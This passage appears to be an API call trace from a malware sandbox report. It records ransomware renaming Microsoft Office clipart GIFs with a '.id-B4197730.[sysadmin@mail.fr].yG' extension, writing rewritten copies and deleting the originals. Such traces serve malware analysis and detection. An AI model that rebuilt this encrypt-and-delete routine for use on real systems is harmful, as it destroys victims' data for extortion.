	[0051.669] lstrlenW (lpString=".bz2") returned 4
	[0051.669] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.669] lstrlenW (lpString=".7z") returned 3
	[0051.669] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.669] lstrlenW (lpString=".dbf") returned 4
	[0051.669] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.669] lstrlenW (lpString=".1cd") returned 4
	[0051.669] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.669] lstrlenW (lpString=".jpg") returned 4
	[0051.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.669] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.669] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0051.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.669] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=12702) returned 1
	[0051.670] CloseHandle (hObject=0x394) returned 1
	[0051.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220
	[0051.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.670] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.670] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.670] GetLastError () returned 0x0
	[0051.670] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x319e, lpOverlapped=0x0) returned 1
	[0051.715] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x31a0, lpOverlapped=0x0) returned 1
	[0051.716] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.716] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.716] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.716] CloseHandle (hObject=0x2e0) returned 1
	[0051.717] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.717] SetEndOfFile (hFile=0x394) returned 1
	[0051.718] CloseHandle (hObject=0x394) returned 1
	[0051.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1
	[0051.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.718] lstrlenW (lpString=".doc") returned 4
	[0051.718] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.718] lstrlenW (lpString=".docx") returned 5
	[0051.718] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.718] lstrlenW (lpString=".pdf") returned 4
	[0051.718] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.718] lstrlenW (lpString=".xls") returned 4
	[0051.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString=".xlsx") returned 5
	[0051.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.719] lstrlenW (lpString=".ppt") returned 4
	[0051.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString=".zip") returned 4
	[0051.719] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString=".rar") returned 4
	[0051.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString=".bz2") returned 4
	[0051.719] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.719] lstrlenW (lpString=".7z") returned 3
	[0051.719] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString=".dbf") returned 4
	[0051.719] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString=".1cd") returned 4
	[0051.719] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString=".jpg") returned 4
	[0051.719] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.719] lstrlenW (lpString=".doc") returned 4
	[0051.719] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.719] lstrlenW (lpString=".docx") returned 5
	[0051.719] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.719] lstrlenW (lpString=".pdf") returned 4
	[0051.719] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString=".xls") returned 4
	[0051.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.719] lstrlenW (lpString=".xlsx") returned 5
	[0051.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.719] lstrlenW (lpString=".ppt") returned 4
	[0051.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.720] lstrlenW (lpString=".zip") returned 4
	[0051.720] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.720] lstrlenW (lpString=".rar") returned 4
	[0051.720] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.720] lstrlenW (lpString=".bz2") returned 4
	[0051.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.720] lstrlenW (lpString=".7z") returned 3
	[0051.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.720] lstrlenW (lpString=".dbf") returned 4
	[0051.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.720] lstrlenW (lpString=".1cd") returned 4
	[0051.720] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0051.720] lstrlenW (lpString=".jpg") returned 4
	[0051.720] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.720] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.720] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0051.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.720] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=12482) returned 1
	[0051.720] CloseHandle (hObject=0x394) returned 1
	[0051.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220
	[0051.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.721] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.721] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.721] GetLastError () returned 0x0
	[0051.721] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0051.730] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0051.731] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.731] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.731] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.731] CloseHandle (hObject=0x2e0) returned 1
	[0051.732] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.732] SetEndOfFile (hFile=0x394) returned 1
	[0051.733] CloseHandle (hObject=0x394) returned 1
	[0051.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1
	[0051.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.733] lstrlenW (lpString=".doc") returned 4
	[0051.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.733] lstrlenW (lpString=".docx") returned 5
	[0051.734] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.734] lstrlenW (lpString=".pdf") returned 4
	[0051.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString=".xls") returned 4
	[0051.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString=".xlsx") returned 5
	[0051.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.734] lstrlenW (lpString=".ppt") returned 4
	[0051.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString=".zip") returned 4
	[0051.734] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString=".rar") returned 4
	[0051.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString=".bz2") returned 4
	[0051.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.734] lstrlenW (lpString=".7z") returned 3
	[0051.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString=".dbf") returned 4
	[0051.734] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString=".1cd") returned 4
	[0051.734] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString=".jpg") returned 4
	[0051.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.734] lstrlenW (lpString=".doc") returned 4
	[0051.734] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.734] lstrlenW (lpString=".docx") returned 5
	[0051.734] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.734] lstrlenW (lpString=".pdf") returned 4
	[0051.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.734] lstrlenW (lpString=".xls") returned 4
	[0051.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.735] lstrlenW (lpString=".xlsx") returned 5
	[0051.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.735] lstrlenW (lpString=".ppt") returned 4
	[0051.735] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.735] lstrlenW (lpString=".zip") returned 4
	[0051.735] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.735] lstrlenW (lpString=".rar") returned 4
	[0051.735] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.735] lstrlenW (lpString=".bz2") returned 4
	[0051.735] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.735] lstrlenW (lpString=".7z") returned 3
	[0051.735] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.735] lstrlenW (lpString=".dbf") returned 4
	[0051.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.735] lstrlenW (lpString=".1cd") returned 4
	[0051.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0051.735] lstrlenW (lpString=".jpg") returned 4
	[0051.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.735] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.735] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0051.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.737] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5253) returned 1
	[0051.737] CloseHandle (hObject=0x394) returned 1
	[0051.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220
	[0051.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.738] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.738] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.738] GetLastError () returned 0x0
	[0051.738] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1485, lpOverlapped=0x0) returned 1
	[0051.785] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1490, lpOverlapped=0x0) returned 1
	[0051.786] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.786] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.786] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.786] CloseHandle (hObject=0x2e0) returned 1
	[0051.787] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.787] SetEndOfFile (hFile=0x394) returned 1
	[0051.788] CloseHandle (hObject=0x394) returned 1
	[0051.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1
	[0051.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.789] lstrlenW (lpString=".doc") returned 4
	[0051.789] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.789] lstrlenW (lpString=".docx") returned 5
	[0051.789] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.789] lstrlenW (lpString=".pdf") returned 4
	[0051.789] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.789] lstrlenW (lpString=".xls") returned 4
	[0051.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.789] lstrlenW (lpString=".xlsx") returned 5
	[0051.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.789] lstrlenW (lpString=".ppt") returned 4
	[0051.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.789] lstrlenW (lpString=".zip") returned 4
	[0051.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.789] lstrlenW (lpString=".rar") returned 4
	[0051.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.789] lstrlenW (lpString=".bz2") returned 4
	[0051.789] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.789] lstrlenW (lpString=".7z") returned 3
	[0051.789] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.789] lstrlenW (lpString=".dbf") returned 4
	[0051.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.789] lstrlenW (lpString=".1cd") returned 4
	[0051.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.789] lstrlenW (lpString=".jpg") returned 4
	[0051.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString=".doc") returned 4
	[0051.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.790] lstrlenW (lpString=".docx") returned 5
	[0051.790] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.790] lstrlenW (lpString=".pdf") returned 4
	[0051.790] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString=".xls") returned 4
	[0051.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString=".xlsx") returned 5
	[0051.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.790] lstrlenW (lpString=".ppt") returned 4
	[0051.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString=".zip") returned 4
	[0051.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString=".rar") returned 4
